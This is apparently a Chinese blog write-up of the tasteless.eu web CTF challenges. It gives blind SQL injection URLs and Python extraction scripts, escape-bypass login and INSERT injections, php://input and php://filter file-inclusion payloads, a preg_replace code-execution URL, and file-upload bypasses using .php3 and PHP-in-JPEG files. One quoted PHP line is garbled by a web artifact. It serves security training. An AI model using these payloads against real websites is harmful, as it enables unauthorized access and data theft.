Tasteless challenges medium WP - 淚笑
2019-1-24 12:7:0 Author: www.cnblogs.com(查看原文) 阅读量:4 收藏

http://chall.tasteless.eu/

国外的一个靶场,都是单点知识,medium大部分还是比较简单

Level 1- Infiltration

http://chall.tasteless.eu/level1/index.php?dir=ASC

观察URL应该能猜到后台的SQL语句为

select * from id order by xx ASC;

其中order by id后面为可控点,利用正则和^运算观察网页回显差别可得flag长度为32,应该是串md5

http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) )  regexp '^30$')

http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) )  regexp '^31$')

http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) )  regexp '^32$')

然后写脚本猜解

 1 import requests
 2 
 3 chars='0123456789qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM'
 4 
 5 def isTrue(p):
 6     url="http://chall.tasteless.eu/level1/index.php?dir=^(select (select flag from level1_flag)  regexp '^{}')".format(p)
 7     print url
 8     res=requests.get(url)
 9     if 'date of birth.  </p><p>3 : Many facts of' in res.text:
10         return True
11     else:
12         return False
13 
14 
15 length=32
16 p=''
17 for i in range(length):
18     for c in chars:
19         tp=p+c
20         if isTrue(tp):
21             p=tp
22             break
23     print p

参考:玩得一手好注入之order by排序篇

Level 3- Double Agent

 1 <?php
 2 highlight_file('index.php');
 3 /*
 4 view file: php.ini
 5 so here is my hint: the included php.ini file is part of the configugartion file used on the server the bug was found.
 6 so there will be something in it which enables you to solve this level, wont?
 7 
 8 always be UP TO DATE!
 9 
10 hint enough, might just take you seconds to do?!
11 */
12 error_reporting(0);
13 include('anti_rfi.php'); //rfi is forbidden!!!!!
14 
15 $inc = @$_GET['file'];
16 @require_once($inc);
17 ?> 

用php://input直接就能执行任意代码

Level 6- Too Easy

这个和第一个有点类似,但稍微麻烦一点,在这关里过滤了一些字符,比如if,updatexml,extractvalue,*等,而且网页回显是随机抽1到3条

测试多次后发现,可以利用除法,比如随机出来的是id为1和2的数据,默认排序就是先1后2,如果都除以-1,那么回显顺序就是反的,以此差异猜解数据

select xx regexp xx 的返回值是0或1,0-1=-1,1-1=0(除以0这里好像不会有问题,其值为NULL)

同样方法判断出长度为32(32的时候回显的才是升序,其他都是降序)

http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^30$') -1 )

http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^31$') -1 )

http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^32$') -1 )

然后写脚本自动猜解,一个个字符比对速度很慢,可以改下算法,例如二分

 1 import requests
 2 import re
 3 
 4 chars='0123456789qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM'
 5 
 6 def isTrue(p):
 7     url="http://chall.tasteless.eu/level6/index.php?in=/( ( select  (select flag from level6_flag) regexp '^{}') -1 )".format(p)
 8     print url
 9 
10     res=requests.get(url)
11     r=re.findall(r'(\d) :',res.text)
12     count=len(r)
13     while count<2:
14         res=requests.get(url)
15         r=re.findall(r'(\d) :',res.text)
16         count=len(r)
17         pass
18     if int(r[0])>int(r[1]):
19         return False
20     else:
21         return True 
22 
23 length=32
24 p=''
25 for i in range(length):
26     for c in chars:
27         tp=p+c
28         if isTrue(tp):
29             p=tp
30             break
31     print p

 

Level 7- Get Me Down

下载源码后发现.htaccess中设置了会将jpeg文件当做php解析,index.php检测了文件的MIME等,所以拿一张正常的jpeg图片,尾部加上php代码上传即可运行

访问上传的图片然后查看网页源码即得

Level 9- In My Dreams

 1 <html>
 2 <head>
 3 <title>In My Dreams</title>
 4 </head>
 5 <body>
 6 <p>Here is the <a href='index2.html'>source</a>!</p>
 7 </body>
 8 </html>
 9 <?php
10 //hi all! you may ask what to do here? its simple, just have a nice walk through these lines, then just call w_() 
11 //and its done 
12 $_k = @$_GET['magic']; //put the magic byte here :)
13 $_u=create_function('$_a_','foreach($_a_ as $_=>$__){$a[$_]=$__;}return @array_splice($a,1);'); 
14 $_u[email protected]call_user_func($_u,@$_GET['argv']);function w_(){print'Good job! flag: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';}$_f=chr(112).chr(114).__CLASS__."\x65"."\x67"."_"; 
15 $_function=create_function('$___,$_,$__','return(strcmp((($_^$__)|$___),123)==0)?1:0;'); 
16 ((int)$_function((int)$_u[0],(int)$_u[1],(int)$_u[2])>0)?0:printf("%s",die()); 
17 $__=cosh;$___=$__[asinh(_)];$_t="\x31";$___.=$__[$_t+$_t+$_t];$___.=$__[$_t];$___++;$___++;$___++; 
18 $_f.=substr(str_repeat("\x72",11),-3,1)."e";$_f_=metaphone(crc32(__DIR__).preg_replace("%^=(\?):*?[\sa-z*]*{\$}*?.[^\D]{1,}(\w|\s)$%sUi","${2}1,$1",crc32(__FILE__))); 
19 @$_a.=__METHOD__."\x25".$___(@0+"@${$_t}"+~$_k+1*(5*20))."\x0";$_f.="pl";
20 $_f.="ac"."\x65";@$_f("%.".$_a."%ixs","(string)$_u[3]()",' ');

这代码看起来是真的恶心,但最终还是梳理出来了,期间的一些乱七八糟的运算,其实在后面使用某个变量之前用var_dump把这个变量输出看看是啥,再替换成这个就行,全部替换一次应该看懂代码就没问题

然后目标是执行w_()这个函数,方法呢就是preg_replace的代码执行,这个具体可以百度,但是这里有点特殊啊,magic参数的构造我一直没成功,就用burp跑了一下,最终发现0xCE这个字符刚好能触发,所以最终payload

http://level9.tasteless.eu/index.php?magic=%ce&argv[0]=123&argv[1]=123&argv[2]=123&argv[3]=&argv[4]=w_

Level 10- Never Trust The Obvious

 一个登录框,没有提示,能想到了只能是注入了,通常也都是SQl注入,但输入单双引号发现并未报错,可能是后台对引号进行了转义

猜想后台SQL语句是

SELECT * FROM users WHERE username='$user' and password='$pass'

如果输入单引号,则会被转义,即如果输入账号 ' 密码 x,语句为

SELECT * FROM users WHERE username='\'' and password='x'

那么测试转义符,发现报错

那么可以断定后台的处理逻辑确实是如此,而且\不在应当转义的列表中,则当前的语句应该为

SELECT * FROM users WHERE username='\' and password='x'

语句未闭合,当然报错

然后即可构造payload

\

or 1#

SELECT * FROM users WHERE username='\' and password='or 1#'

成功登陆

Level 11- Sjukdom

 存在本地文件包含,直接包含那个文件,flag就在其中

http://level11.tasteless.eu/index.php?file=php://filter/read=convert.base64-encode/resource=config.easy.inc.php

hard难度用00截断绕过

http://level11.tasteless.eu/index.php?hard=1&file=%00php://filter/read=convert.base64-encode/resource=config.hard.inc.php

Level 15- Tournament

这个根据程序功能和hint基本能确定是SQL注入,但尝试输入单双引号并未出错,那么肯定就是对引号进行了转义,所以尝试转义符

虽然并未报错,但显示的信息肯定是不对的,至于为什么会出现和上面一条一样的消息,这里不知道后台处理逻辑我也不清楚,但可以断定的是肯定这里肯定出错了,所以猜想后台插入数据库数据的语句为(代码不完全符合,因为测试发现注入点只在name处有,text处处理应该更加严格)

1 <?php
2 $name=str_replace("'","\'",$_GET['name']);
3 $message=str_replace("'","\'",$_GET['message']);
4 $name=str_replace('"','\"',$name);
5 $message=str_replace('"','\"',$message);
6 $sql="INSERT INTO table_name (name,message) VALUES ('".$name."','".$message."')";
7 echo $sql;

代码只把单双引号转义,但并未转义转义符,所以如果name处构造如下

title\',1111111)#

 最后的语句即为

INSERT INTO table_name (name,message) VALUES ('title\\',111111)#','x')

最后payload

title\',(select flag from level15_flag))#

Level 18- Extensions?

 1 <html>
 2 <head>
 3 <title>Extensions?</title>
 4 </head>
 5 <body>
 6 <p>source code: <a href="./index.php~">index.php~</a></p>
 7 <br/>
 8 <form action="index.php" method="post" enctype="multipart/form-data">
 9 <label for="file">Filename:</label>
10 <input type="file" name="file" id="file"><br>
11 <input type="submit" name="submit" value="Submit">
12 </form>
13 <br />
14 <?php
15 error_reporting(0);
16 
17 $output = array ();
18 $errors = array ();
19 $savePath = "upload";
20 
21 if (isset ( $_FILES ['file'] ) && $_FILES ["file"] ["error"] == UPLOAD_ERR_OK) {
22 
23     $fileName = $_FILES ['file'] ['name'];
24     $fileSize = $_FILES ['file'] ['size'];
25     $fileTemp = $_FILES ['file'] ['tmp_name'];
26     $fileType = $_FILES["file"]["type"] ;
27     $fileExt = pathinfo ( $fileName, PATHINFO_EXTENSION );
28     $fileExt = strtolower ( $fileExt );
29 
30     if (preg_match("/php$/i", $fileExt)) {
31         $errors [] = "Invalid File Extention";
32     }
33     if ($fileSize > 800*1024) {
34         $errors [] = "File Too large";
35     }
36     if (! is_writable ( $savePath )) {
37         $errors [] = "File Destination not writeable";
38     }
39 
40     $fileDst = $savePath . DIRECTORY_SEPARATOR . $fileName;
41     $filePrifix = basename ( $fileName, "." . $fileExt );
42 
43 
44     if(file_exists($fileDst)) {
45     $errors [] = "Filename exists";
46     }
47 
48 
49     if (count ( $errors ) == 0) {
50         if (@move_uploaded_file ( $fileTemp, $fileDst )) {
51             $output['Destination'] = $fileDst;
52         } else {
53             $errors [] = "Error Saving File";
54         }
55     }
56 
57     if(count($errors) > 0)
58     {
59         echo "<h2>Upload Error</h2>" ;
60         foreach ($errors as $error){
61             echo $error , "<br/>" ;
62         }
63     }else{
64         echo "<h2>File  Uploaded</h2>" ;
65         foreach ($output as $key => $value){
66             echo $key . ": <a href=\"./$value\">" .$value , "</a><br/>" ;
67         }
68    }
69 }
70 ?>
71 </body>
72 </html>

代码中的正则阻止了php后缀的文件,直接上传php后缀的文件肯定不行,不过

Apache 配置中会有

.+.ph(p[345]?|t|tml)

此类的正则表达式,文件名满足即可被当做php解析,也就是说php3,php4,php5,pht,phtml都是可以被解析的

所以上传一个PHP文件,后缀名为php3,即可被解析,可以上传一句话,或者直接如下

1 <?php
2     var_dump(scandir(".."));
3     echo file_get_contents("../D4tFl4g.php");
4 ?>

查看源码即得flag


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